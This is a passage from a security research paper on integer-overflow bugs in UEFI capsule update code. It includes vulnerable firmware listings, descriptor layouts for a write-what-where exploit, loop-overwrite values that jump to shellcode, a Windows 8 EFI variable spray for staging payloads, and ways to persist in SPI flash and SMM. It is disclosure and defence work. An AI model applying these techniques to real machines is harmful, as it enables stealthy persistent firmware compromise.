while (Desc->Union.ContinuationPointer != (EFI_PHYSICAL_ADDRESS) (UINTN) NULL) {
if (Desc->Length == 0) {
//
// Descriptor points to another list of block descriptors somewhere
//
Desc = (EFI_CAPSULE_BLOCK_DESCRIPTOR
*) (UINTN) Desc->Union.ContinuationPointer;
} else {
Size += (UINTN) Desc->Length; <= Bug 2
Count++;
Desc++;
}
}
if (NumDescriptors != NULL) {
*NumDescriptors = Count;
}
if (CapsuleSize != NULL) {
*CapsuleSize = Size;
}
Listing 5: GetCapsuleInfo code
The important values for our discussion are CapsuleSize and DescriptorSize.
CapsuleSize is set by
GetCapsuleInfo and is equal to the sum of the length values in the descriptor array. DescriptorSize is also
set by GetCapsuleInfo and is equal to the total size of the descriptor array. All of these values are attacker
controlled.
There are several opportunities for integer overflow in the coalescing code descibed by Listings 4 and 5.
The first bug is an integer overflow in the check to see if the CapsuleSize and DescriptorSize sum exceed the
available MemorySize (Bug 1). The consequence of this overflow could be a very large CapsuleSize passing
the buggy sanity check.
Another issue is an integer overflow possibility in the summation of the descriptor array Length members
in GetCapsuleInfo (Bug 2). With this issue, if one entry in the descriptor array has a very large Length
value, CapsuleSize could be less than the real sum of the Length values.
8
3.2
Envelope Vulnerability
typedef struct {
UINTN
Base;
UINTN
Length;
} LBA_CACHE;
typedef struct {
UINT32 NumBlocks;
UINT32 Length;
} EFI_FV_BLOCK_MAP_ENTRY;
typedef struct {
UINTN
Signature;
EFI_HANDLE
Handle;
EFI_DEVICE_PATH_PROTOCOL
*DevicePath;
EFI_FIRMWARE_VOLUME_BLOCK_PROTOCOL
FwVolBlockInstance;
UINTN
NumBlocks;
LBA_CACHE
*LbaCache;
UINT32
FvbAttributes;
EFI_PHYSICAL_ADDRESS
BaseAddress;
UINT32
AuthenticationStatus;
} EFI_FW_VOL_BLOCK_DEVICE;
EFI_STATUS
ProduceFVBProtocolOnBuffer (
IN EFI_PHYSICAL_ADDRESS
BaseAddress,
IN UINT64
Length,
IN EFI_HANDLE
ParentHandle,
IN UINT32
AuthenticationStatus,
OUT EFI_HANDLE
*FvProtocol
OPTIONAL
)
{
EFI_STATUS
Status;
EFI_FW_VOL_BLOCK_DEVICE
*FvbDev;
EFI_FIRMWARE_VOLUME_HEADER
*FwVolHeader;
UINTN
BlockIndex;
UINTN
BlockIndex2;
UINTN
LinearOffset;
UINT32
FvAlignment;
EFI_FV_BLOCK_MAP_ENTRY
*PtrBlockMapEntry;
FwVolHeader = (EFI_FIRMWARE_VOLUME_HEADER *)(UINTN) BaseAddress;
...
//
// Init the block caching fields of the device
// First, count the number of blocks
//
FvbDev->NumBlocks = 0;
for (PtrBlockMapEntry = FwVolHeader->BlockMap;
PtrBlockMapEntry->NumBlocks != 0;
PtrBlockMapEntry++) {
FvbDev->NumBlocks += PtrBlockMapEntry->NumBlocks;
}
//
// Second, allocate the cache
//
FvbDev->LbaCache = AllocatePool (FvbDev->NumBlocks * sizeof (LBA_CACHE)); <= Bug 3
Listing 6: ProduceFVBProtocolOnBu↵er Code and Structures
The code in Listing 6 is called during the DXE phase to prepare the capsule for further processing. The
NumBlocks member of FvbDev is set equal to the the summation of an attacker controlled array of UINT32
values that dangle o↵ of the EFI FIRMWARE VOLUME HEADER envelope. This array is of arbitrary
9
length, as summation is only terminated when a zero entry is encountered.
In the case where DXE executes in 32 bit mode, the multiplication involved in the allocation is trivially
overflowable. In the case where DXE executes in 64 bit mode, FvbDev’s NumBlocks is a 64 bit integer,
but the attacker controlled entries in the BlockMap array retain 32 bit width. Hence to trigger this integer
overflow, an attacker must cause FvbDev’s NumBlocks to be sufficiently large through a series of 32 bit
integer additions. An attacker who creates a BlockMap array with over 0x10000000 entries of maximum
NumBlocks (0x↵↵↵↵) can force this integer overflow in the multiplication.
This huge BlockMap array
requires approximately 2GB of RAM to create, which is within the realm of possibility on modern systems
where 4GB or more is often standard. The result of an overflow in the multiplication before the allocation
will be an unexpectedly small LbaCache bu↵er (Bug 3).
4
Capsule Update Exploitation
Exploitation of these vulnerabilities proved to be sufficiently interesting to warrant discussion. The execution
environment of the vulnerable code is atypical. The processor is running in protected mode with a flat
segmentation model and paging disabled. Because memory protections are generally provided at the page
level, with paging disabled, the majority of the address space is RWX with a few exceptions4. Also noteworthy
is the complete lack of exploit mitigations in the firmware code and its execution environment.
Despite these attacker advantages, significant hurdles had to be overcome to successfully exploit the vul-
nerabilities. The primary obstacle for an attacker working in this space is the lack of appropriate debugging
capabilities. To overcome this, the authors originally developed their exploits against the MinnowBoard[2].
The MinnowBoard was chosen because of its UEFI firmware (which contained all of the relevant vulnera-
bilities) and its provided debug stub. The following section discusses the exploitation process as it unfolded
against the MinnowBoard. Exploitation of OEM specific code is discussed later in Section 7.2.
4.1
Coalescing Exploitation
During the capsule coalescing in the PEI phase, the processor is executing in 32 bit protected mode with
paging disabled. The PEI code is executing in place out of flash memory and Cache-As-RAM (CAR) is being
used for stack space. The MinnowBoard has 1GB of RAM, meaning that addresses between [0,0x3FFFFFFF]
are backed up with physical frames. The CAR stack and PEI code are at the top of the address space. This
means that a large gap exists in the middle of the address space that is neither backed up by devices nor
RAM.
After the integers overflows described in Section 3 allow for an unexpectedly large capsule to be coalesced,
the following code is relevant.
4Code executing in place out of flash memory is not writable.
10
if (*MemorySize <= (CapsuleSize + DescriptorsSize)) {
return EFI_BUFFER_TOO_SMALL;
}
FreeMemBase = *MemoryBase;
FreeMemSize = *MemorySize;
...
//
// Take the top of memory for the capsule. Naturally align.
//
DestPtr
= FreeMemBase + FreeMemSize - CapsuleSize;
DestPtr
= (UINT8 *) ((UINTN) DestPtr &~ (UINTN) (sizeof (UINTN) - 1));
FreeMemBase
= (UINT8 *) BlockList + DescriptorsSize;
FreeMemSize
= (UINTN) DestPtr - (UINTN) FreeMemBase;
NewCapsuleBase
= (VOID *) DestPtr;
//
// Move all the blocks to the top (high) of memory.
// Relocate all the obstructing blocks. Note that the block descriptors
// were coalesced when they were relocated, so we can just ++ the pointer.
//
CurrentBlockDesc = BlockList;
while ((CurrentBlockDesc->Length != 0) || (CurrentBlockDesc->Union.ContinuationPointer != (EFI_PHYSICAL_ADDRESS) (UINTN) NULL)
//
// See if any of the remaining capsule blocks are in the way
//
TempBlockDesc = CurrentBlockDesc;
while (TempBlockDesc->Length != 0) {
//
// Is this block in the way of where we want to copy the current descriptor to?
//
if (IsOverlapped (
(UINT8 *) DestPtr,
(UINTN) CurrentBlockDesc->Length,
(UINT8 *) (UINTN) TempBlockDesc->Union.DataBlock,
(UINTN) TempBlockDesc->Length
)) {
//Relocate the block
RelocPtr = FindFreeMem (BlockList, FreeMemBase, FreeMemSize, (UINTN) TempBlockDesc->Length);
....
CopyMem ((VOID *) RelocPtr, (VOID *) (UINTN) TempBlockDesc->Union.DataBlock, (UINTN) TempBlockDesc->Length);
TempBlockDesc->Union.DataBlock = (EFI_PHYSICAL_ADDRESS) (UINTN) RelocPtr;
}
// Next descriptor
TempBlockDesc++;
}
...
CopyMem ((VOID *) DestPtr, (VOID *) (UINTN) (CurrentBlockDesc->Union.DataBlock), (UINTN)CurrentBlockDesc->Length);
DestPtr += CurrentBlockDesc->Length;
Listing 7: CapsuleDataCoalesce code continued
4.1.1
Coalescing Exploitation Difficulties
The most obvious exploitation approach is to supply a Capsule with CapsuleSize large enough to force
CapsuleSize + DescriptorSize to overflow (Bug 1). Then the process of coalescing the huge capsule will
overflow the intended coalescing area and corrupt the address space. Figure 4 demonstrates this approach.
However, this most obvious approach was insufficient on the MinnowBoard. When the overflow began
writing into the address space gap described in Section 4.1, the writes would silently fail. Although the
destination pointer for the memory copy operation continued to proceed upwards despite these invalid
writes, a timeout associated with the failed write slowed the process down to a prohibitively slow pace. A
di↵erent approach was considered.
11
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
Length=FFFFFF2B
DataBlock=Wherever
Overflowing DataBlock Copy
Top of RAM
40000000
Figure 4: First Attempt at Coelescing Exploitation fails due to the address space gap
4.1.2
Descriptor Overwrite Approach
It was necessary to devise a way to overwrite a function pointer in the high portion of the address space
without touching the address space gap.
We chose a multistage approach that would first corrupt the
descriptor array, so that DestPtr would be adjusted by a corrupted descriptor length value. This approach
allows exact control of DestPtr on a subsequent block copy.
One major hurdle stood in the way of the descriptor overwrite approach; before the coalescing block copy
operations begins, the descriptor array is relocated to the bottom of the address space. This ensures that
the descriptor array is always out of the way of any block copy operations. Additional tricks were needed to
proceed further with this approach.
4.1.3
Optimization Tricks
An examination of the CopyMem implementation yielded a clever trick that could be abused for the descriptor
overwrite approach.
12
CopyMem (
OUT VOID
*DestinationBuffer,
IN CONST VOID
*SourceBuffer,
IN UINTN
Length
)
{
...
if (DestinationBuffer == SourceBuffer) {
return DestinationBuffer;
}
return InternalMemCopyMem (DestinationBuffer, SourceBuffer, Length);
}
Listing 8: CopyMem implementation
Note in Listing 8 that CopyMem is optimized so that if DestinationBu↵er and SourceBu↵er are equal,
the function will automatically exit successfully. Hence a huge CopyMem can be performed that will skip
over the address space gap, and DestPtr will subsequently be increased by a huge value. Using this approach
allowed DestPtr to be wrapped to the bottom of the address space where the relocated descriptor array had
been placed.
Also note that this CopyMem optimization abuse can not be used to set DestPtr directly at any function
pointers high in the address space. This requirement results from the IsOverlapped check described in code
Listing 7. The IsOverlapped check validates that the current block copy operation will not clobber the current
block or any other remaining data blocks. Because we have explicitly set DestPtr equal to CurrentBlockDesc’s
Data member in order to abuse the CopyMem optimization, the blocks necessarily overlap. However, if we
examine the IsOverlapped implementation, we see a way out.
BOOLEAN
IsOverlapped (
UINT8
*Buff1,
UINTN
Size1,
UINT8
*Buff2,
UINTN
Size2
)
{
//
// If buff1’s end is less than the start of buff2, then it’s ok.
// Also, if buff1’s start is beyond buff2’s end, then it’s ok.
//
if (((Buff1 + Size1) <= Buff2) || (Buff1 >= (Buff2 + Size2))) { <= Bug 4
return FALSE;
}
return TRUE;
}
Listing 9: IsOverlapped implementation
IsOverlapped will erroneously return false if an integer overflow is induced by Bu↵1 + Size1 (Bug 4).
Thus the CopyMem optimization trick cannot be used to set DestPtr directly at the high portion of the
address space, as this would not induce an integer overflow in the IsOverlapped calculation and IsOverlapped
would return true. However, this works perfectly to wrap DestPtr to the bottom of the address space, which
then provides the possibility to overwrite the relocated descriptor array.
4.1.4
Coalesce Exploitation Success
The return address for the CopyMem function proved to be a viable target to get control of the instruction
pointer. This was accomplished using the following steps which ultimately allowed for a surgical write-what-
where exploitation primitive. The steps are also depicted visually in Figures 5 through 8.
13
1. DescriptorArray[0] contains a superficial Capsule Header needed for sanity checking purposes and is
copied normally. See Figure 5.
2. DescriptorArray[1] abuses the CopyMem optimization trick and IsOverlapped integer overflow to wrap
DestPtr around the address space. See Figure 6.
3. DescriptorArray[2] overwrites its own Length value, so that DestPtr can be arbitrarily adjusted. See
Figure 7.
4. DescriptorArray[3] overwrites the return address for the CopyMem function. Control is gained here.
See Figure 8.
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
DestPtr_1 = DestPtr_0 + 100
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_1
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Length=4
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
Figure 5: DescriptorArray[0] contains a superficial Capsule Header needed for sanity checking purposes and is copied
normally.
4.2
Envelope Exploitation
Exploiting the vulnerability in the parsing of envelope of the capsule proved to be challenging as well.
Consider the code in Listing 10 that writes to the underallocated LbaCache bu↵er (Bug 3).
14
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_One
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Length=4
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
DestPtr_2 = &RelocatedDescriptorArray[2]
Figure 6: DescriptorArray[1] abuses the CopyMem optimization trick and IsOverlapped integer overflow to wrap
DestPtr around the address space.
FvbDev->LbaCache = AllocatePool (FvbDev->NumBlocks * sizeof (LBA_CACHE)); <= Bug 3
...
//
// Last, fill in the cache with the linear address of the blocks
//
BlockIndex = 0;
LinearOffset = 0;
for (PtrBlockMapEntry = FwVolHeader->BlockMap;
PtrBlockMapEntry->NumBlocks != 0; PtrBlockMapEntry++) {
for (BlockIndex2 = 0; BlockIndex2 < PtrBlockMapEntry->NumBlocks; BlockIndex2++) {
FvbDev->LbaCache[BlockIndex].Base = LinearOffset;
FvbDev->LbaCache[BlockIndex].Length = PtrBlockMapEntry->Length;
LinearOffset += PtrBlockMapEntry->Length;
BlockIndex++;
}
}
Listing 10: ProduceFVBProtocolOnBu↵er code continued.
Recall that NumBlocks had to be set very large in order to induce the overflow in the LbaCache allocation
(Bug 3). Unfortunately this also means that the above loop will end up corrupting the majority of the address
space and destabilize the system if allowed to run to completion. Another complication is the discovery that
LbaCache was being allocated below the FvbDev structure. This meant that the overwriting loop would
end up corrupting the LbaCache pointer, further complicating the progression of the corruption. This issue
is illustrated in Figure 9. Lastly, note that the corruption occurs via a series of pairs of 4 byte writes. One
of the writes, PtrBlockMapEntry’s Length member, is attacker controlled. However, the other is the write
15
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_One
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Overwritten Length=ReturnAddress – DestPtr_2
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
DestPtr_2 = &RelocatedDescriptorArray[2]
Figure 7: DescriptorArray[2] overwrites its own Length value, so that DestPtr can be arbitrarily adjusted.
of LinearO↵set. LinearO↵set is incremented during every iteration of the loop and thus is only partially
attacker controlled.
The most pressing constraint is the non terminating nature of the corrupting loop. In order to escape the
loop, it was necessary to overwrite the loop code itself. However, as the values being written are not com-
pletely attacker controlled, it was a matter of brute force to determine what values of PtrBlockMapEntry’s
Length member would lead to overwriting the loop code with coherent x86 instructions. Figure 10 shows an
attempt that overwrites the top of the loop’s basic block with x86 instructions that are not advantageous
to an attacker. Figure 11 shows a Length value discovered by our brute force script that leads to attacker
advantageous instructions overwriting the loop code.
4.3
Exploitation From Windows 8
Two conditions are necessary for the exploitation of the vulnerabilities.
• The ability to instantiate the capsule update process.
• The ability to stage arbitrary data at certain physical addresses.
If the attacker already has ring 0 code execution, these conditions are trivially met. The attacker can call
the capsule update Runtime Service directly to meet the first condition. The second condition can be met
via a number of kernel APIs that allow access to physical memory, such as MmAllocateContiguousMemory5,
or via direct page table manipulation.
The attack is also possible from a privileged user in ring 3. The introduction of the userland EFI variable
API in Windows 8 inadvertently exposes the capsule update process to userland. This follows from the fact
5http://msdn.microsoft.com/en-us/library/windows/hardware/ff554460(v=vs.85).aspx
16
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
UEFI PEI Code
PEI Stack
Intended Coalescing Space
DescriptorArray[0]
“Poison Capsule Header Block”
Length=100
DataBlock=EFI_CAPSULE_HEADER
Top of RAM
40000000
Relocated DescriptorArray
DescriptorArray[1]
“The Huge Block”
Length=&(Relocated DescriptorArray[2]) – DestPtr_One
DataBlock=DestPtr_One
DescriptorArray[2]
“Self Overwriting Descriptor Block”
Overwritten Length=ReturnAddress – DestPtr_2
DataBlock=3E200000
DescriptorArray[3]
“Return Address Overwrite Block”
Length=4
DataBlock=3E100000
ReturnAddress – DestPtr_Two
Shellcode Address
3E200000
3E100000
DescriptorArray[4]
“Total CapsuleSize Padding Block”
Length=FFFFFFD4 - Sum(DescriptorArray[0..4])
DataBlock=Wherever
DestPtr_3 = ReturnAddress
Hacked
Figure 8: DescriptorArray[3] overwrites the return address for the CopyMem function. Control is gained here.
that capsule update is automatically initiated by the firmware if the “CapsuleUpdateData” EFI variable
exists during a warm reset of the system.
A privileged userland process also has several ways to surmount the second attack requirement. We do
not assume the attacker needs their own kernel driver signing key. However, given our attack model assumes
a privileged user, such a user is able to install any authenticode signed kernel drivers onto the system.
There exist such drivers that will arbitrarily modify the content of physical memory on a users behalf6. The
technique of using known-vulnerable, but signed, 3rd party drivers to perform exploits or actions on the
attacker’s behalf, has been discussed since Windows Vista’s inception[19] and has been used in the wild by
malware[17].
A more direct approach to satisfy the second requirement is to further abuse the Windows 8 EFI variable
interface.
We found that the creation of many large sized EFI variables eventually resulted in attacker
controlled data residing at predictable physical addresses. This resulted from the EFI variables themselves
being stored on the SPI flash chip, and the contents of the SPI flash chip being mirrored to the address space
during the bootup of the system. Using this variable spray technique we were able to stage the necessary
payloads at predictable physical addresses and reliably exploit the coalescing vulnerability using only the
Windows 8 userland EFI variable API.
Exploitation of the capsule envelope vulnerability may not be possible from Windows 8 userland. The
majority of consumer platforms we analyzed executed their DXE phase in 64 bit mode. Hence as described
in section 4.2, it is necessary for the attacker to control a contiguous 2 GB part of the address space in
order to induce the underlying integer overflow. We are not aware of any methods by which a userland
attacker could reliably stage a physically contiguous 2GB region. Another complicating factor is the only
semi-controlled nature of the corruption. The attacker is dependent on finding some values that will allow
overwriting the non-terminating loop with attacker advantageous instructions. Typically these instructions
6http://rweverything.com/
17
ProduceFVBProtocolOnBuffer Code
ProduceFVBProtocolOnBuffer Stack
FvbDev
00000000
FFFFFFFF
FvbDev->LbaCache
3DE1A890
3DE1A910
3EB18E78
3EBE1E44
???
loc_3EB21E44:
8B 4D FC mov ecx, [ebp+vBlockIndex]
8B 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
C1 E1 03 shl ecx, 3
89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; LbaCache[i].Base = AttackerValue*i
8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
8B 58 04 mov ebx, [eax+LBA_CACHE.Length]
89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; LbaCache[i].Length = AttackerValue
8B 55 F4 mov edx, [ebp+vLinearOffset]
03 50 04 add edx, [eax+4]
FF 45 FC inc [ebp+vBlockIndex]
FF 45 F8 inc [ebp+vBlockIndex2]
8B 4D F8 mov ecx, [ebp+vBlockIndex2]
89 55 F4 mov [ebp+vLinearOffset], edx
3B 08 cmp ecx, [eax]
72 D4 jb short loc_3EB21E44
LbaCache Pointer
Overwritten
Figure 9: The LbaCache pointer is corrupted, further complicating the overwrite.
will take the form of jumping or calling to a non-corrupted address. Exploitation of the envelope vulnerability
from userland also dictates that a specific target physical address will need to be attainable from a Windows
8 userland process. This may not be possible depending on the target address, for instance if that physical
address is typically allocated to the kernel.
5
Leveraging The Attack
Successful exploitation of these vulnerabilities allows the attacker to gain code execution in the early boot
environment.
In this environment, the SPI flash and SMRAM are still necessarily unlocked.
Thus the
attacker is able to make SPI write cycles to the SPI flash, allowing him to permanently persist in the
platform firmware.
Because the platform firmware is responsible for instantiating SMM, the attacker is
able to use this approach to arbitrarily inject code into SMM as well. Note that this means the attackers
injections would survive even an operating system reinstallation! In fact, as shown in [3] it would then be
possible for the attacker to also persist across firmware update attempts.
Another interesting possibility is for the attacker to avoid reflashing the firmware directly, and instead
continually exploit the firmware during reset of the system. As described in section 4.3, an attacker can
store his payload in a persistent EFI non-volatile variable. During a warm reset of the system, the UEFI
code will then be exploited when attempting to process the lying in wait evil capsule. Once the attacker has
control, he can make arbitrary insertions into SMM, and then let the system boot up normally. In this way
the attacker can establish a presence in SMM during each warm reset of the system, without having to make
direct SPI flash writes to the UEFI code. This approach may be desirable if the attacker wishes to further
obfuscate his presence.
18
ProduceFVBProtocolOnBuffer Code
ProduceFVBProtocolOnBuffer Stack
FvbDev
00000000
FFFFFFFF
FvbDev->LbaCache
3DE1A890
3DE1A910
3EB18E78
3EBE1E44
loc_3EB21E44:
B8 8B D9 02 5E mov eax,5E02D98Bh
8B 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
C1 E1 03 shl ecx, 3
89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; LbaCache[i].Base = AttackerValue*i
8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
8B 58 04 mov ebx, [eax+LBA_CACHE.Length]
89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; *(DWORD *)3EB21E44 = AttackerValue
8B 55 F4 mov edx, [ebp+vLinearOffset]
03 50 04 add edx, [eax+4]
FF 45 FC inc [ebp+vBlockIndex]
FF 45 F8 inc [ebp+vBlockIndex2]
8B 4D F8 mov ecx, [ebp+vBlockIndex2]
89 55 F4 mov [ebp+vLinearOffset], edx
3B 08 cmp ecx, [eax]
72 D4 jb short loc_3EB21E44
We are now
corrupting the loop
code itself..
AttackerValue = 2D98BB8.
Overwrites top of loop code on iteration=38E
*(DWORD *)3EB21E44 = AttackerValue (B8 8B D9 02) [endianness]
Figure 10: Loop code overwritten with useless instructions.
6
User Experience
Exploiting the capsule update vulnerabilities requires rebooting the system. An attacker wishing to remain
stealthy could schedule the attack to occur when the system is naturally rebooting for patches. After the
reboot has occurred, and the attacker has pivoted control to a firmware injecting shellcode, another reboot
of the system should immediately take place. Because the vulnerabilities take place before graphics have
been initialized, the victim may only notice a longer than usual reboot time.
7
A↵ected Systems
Determining which vendors were a↵ected was a non-trivial problem. Theoretically the UEFI open source
reference implementation should be widely utilized by both OEMs and Independent BIOS Vendors (IBVs).
Thus the capsule update vulnerabilities should be widespread. In practice there is large variance to the
degree that OEMs/IBVs utilize the reference implementation. This problem is further described by [16],
which points out that firmware implementations vary widely even within the same OEM. Due to this, it is
necessary to consider the exploitability of systems on a case by case basis. Before we can begin with a case
study, analysis techniques that help determine exploitability are introduced.
7.1
OEM Firmware Instrumentation
As mentioned in Section 4, the lack of debugging capability for firmware level code is a significant hurdle.
Without debugging capability, the vulnerability of a particular system must be determined using only static
analysis. Given the complexity of UEFI and its tendency for indirect calling, this approach proved difficult.
To work around this limitation, we used QEMU to instrument the OEM firmware using the following steps.
19
ProduceFVBProtocolOnBuffer Code
ProduceFVBProtocolOnBuffer Stack
FvbDev
00000000
FFFFFFFF
FvbDev->LbaCache
3DE1A890
3DE1A910
3EB18E78
3EBE1E44
loc_3EB21E44:
E9 14 BF 8C D9 jmp 183EDD5Dh
2D 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
C1 E1 03 shl ecx, 3
89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; *(DWORD *)3EB21E42 = AttackerValue*i
8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache]
8B 58 04 mov ebx, [eax+LBA_CACHE.Length]
89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; *(DWORD *)3EB21E46 = AttackerValue
8B 55 F4 mov edx, [ebp+vLinearOffset]
03 50 04 add edx, [eax+4]
FF 45 FC inc [ebp+vBlockIndex]
FF 45 F8 inc [ebp+vBlockIndex2]
8B 4D F8 mov ecx, [ebp+vBlockIndex2]
89 55 F4 mov [ebp+vLinearOffset], edx
3B 08 cmp ecx, [eax]
72 D4 jb short loc_3EB21E44
Shellcode
183EDD5D
AttackerValue = 2D98CBF.
Overwrites top of loop code on iteration=BB
*(DWORD *)3EB21E42 = (AttackerValue * 0xBB) % 0x100000000
= 14E9CF8F
= 85 CF E9 14 [endianness]
*(DWORD *)3EB21E46 = BF 8C D9 02 [endianness]
Figure 11: Loop code overwritten with jump to shellcode.
• The OEM Firmware was dissected into its individual EFI executables using EFIPWN7.
• The EFI executables responsible for Capsule Coalescing (PEI Phase) and Capsule Processing (DXE
Phase) were identified using Guid matching and bindi↵8.
- Capsule coalescing code was usually located in CapsulePEI.
- Capsule processing code was usually located in DXECORE.
• The relevant binary modules were then inserted into the UEFI Open Virtual Machine Firmware[1]9
• Because OVMF does not have built in support for capsule update, the PlatformPeim module provided
by OVMF was modified to call the capsule update interface exported by the OEM’s binary module.
• QEMU was then used to boot the modified OVMF firmware.
• Debugging of the OEM capsule binary modules was now possible via QEMU’s gdb stub.
7.2
HP EliteBook 2540p F23 Case Study
As an example of determining the vulnerability of a specific OEM system, we consider the capsule coalescing
routine of the HP EliteBook 2540p at BIOS (UEFI) revision F23. We discovered the capsule coalescing code
to be very similar to the code described in Listing 4, with the following relevant di↵erences.
• CapsuleSize + 8 is compared to MemorySize, as opposed to CapsuleSize + DescriptorSize. Hence Bug
1 is present in a di↵erent form.
7https://github.com/G33KatWork/EFIPWN
8http://www.zynamics.com/bindiff.html
9OVMF is an open source virtual machine firmware included in the UEFI open source reference implementation.
20
• An additional sanity check is made that for each entry in the descriptor array, descriptor.DataBlock
+ descriptor.Length does not integer overflow10.
• EDK1 style descriptors are used, which include a 4 byte signature and a checksum.11 The DataBlock
and Length fields are identical.
To demonstrate the vulnerability of the 2540p, we built a descriptor list that explicitly instantiated Bug
212 and Bug 413. Both of these bugs were present in the 2540p. Consider the matryoshka style descriptor
array configuration outlined by Figure 12. In this configuration, the sum of the descriptor length values will
overflow the 32 bit CapsuleSize integer, and hence pass the sanity comparison with MemorySize. Also note
that although it is sanity checked that Descriptor[0].Length + Descriptor[0].DataBlock does not overflow, it
is still possible that DestPtr + Descriptor[0].Length will overflow. This is in fact the case since we explicitly
set Descriptor[0] to be low in memory and have a huge length size, and DestPtr is always high in the address
space due to the coalescing function design. Hence we can abuse Bug 4 in the IsOverlapped check to proceed
with the block copy operation of Descriptor[0]. This copy will corrupt the address space and allow the
attacker to hijack control of the update operation.14
00000000
FFFFFFFF
UEFI PEI Code
PEI Stack
Descriptor[0]
“Matryoshka Layer 1”
Length=C0000000-&DescriptorArray[0].DataBlock
DataBlock=2000000
Descriptor[1]
“Matryoshka Layer 2”
Length=100-DescriptorArray[0].Length
DataBlock=2000000
C0000000
Intended Coalescing Space
02000000
Descriptor[1]
Descriptor[0]
C0000000 - 100
Figure 12: The Matryoshka descriptor configuration. Sum of length values overflows 32 bit Integer.
7.3
General Observations Regarding A↵ected Systems
We believe the vulnerabilities presented in this paper to be widespread among UEFI systems. However, it
is difficult to determine the exact pervasiveness of the vulnerabilities due to the need to evaluate firmware
implementations on a case by case basis. Some variant of the capsule coalescing vulnerability was present in
the majority of systems we evaluated with static analysis. Interestingly, although the OEM coalescing code
often demonstrated variations from the reference implementation code, the ProduceFVBProtocolOnBu↵er
code appeared to be identically copied in all of the systems we looked at. Thus the code associated with
bug 315 was present on all of the UEFI implementations we analyzed. However, as we did not have debug
access, or even physical access16 to many systems we evaluated, it is impossible to produce a complete list
of a↵ected systems without self-reporting by the vendors. For instance, although the vulnerable code may
be present, it may be vestigial and not actually utilized during the update process.
10An important sanity check that the reference implementation lacked
11Neither of these 2 additional fields matters in practice
12Integer overflow in capsule length summation
13Integer overflow in IsOverlapped check
14In the case of the Elitebook 2540p, 4GB RAM is standard so there is no dead space in the address space as had to be
overcome on the MinnowBoard.
15Integer overflow in LbaCache allocation
16We just downloaded the firmware images from the OEM websites.
21
8
Vendor Response
Intel and CERT were notified of the envelope parsing vulnerability on November 22nd 2013, and of the
coalescing vulnerabilities on December 4th 2014. Intel then reached out to IBVs and OEMs to attempt to
discern if they were a↵ected. Information about which vendors are a↵ected and what systems should be
patched is conveyed in CERT VU #552286. The disclosure of these vulnerabilities ultimately led to the
formation of a UEFI Security Response Team. The vulnerabilities were patched in the UDK2014 reference
implementation release[10].
9
Recommendations
The authors have several recommendations regarding locking down the UEFI capsule update interface and
the Runtime Interface as a whole.
• The UEFI Reference Implementation should be more thoroughly audited. The existence of easy to
find integer overflows in security critical code is disturbing.
• Capsule coalescing seems unnecessary on modern system’s with plentiful RAM as firmware capsules are
usually under 16 MB. Instead the firmware capsule could assumed to be already contiguous in memory.
This would eliminate much of the complicated and buggy code from the firmware update process. If
memory constraints are a valid concern 17, the firmware update process could be instantiated from a
boot loader.
• The decision to expose the Variable portion of the Runtime Services to userland in Windows 8 should be
more closely evaluated from a security standpoint. On the one hand, this decision minimizes the amount
of code that needs to be loaded into the kernel, as now userland processes can perform important system
configuration. On the other hand, userland access to these variables opens up additional attack surface
that is accessible from ring 3.
• An option for a physical presence test should be added to the firmware update process18. Although
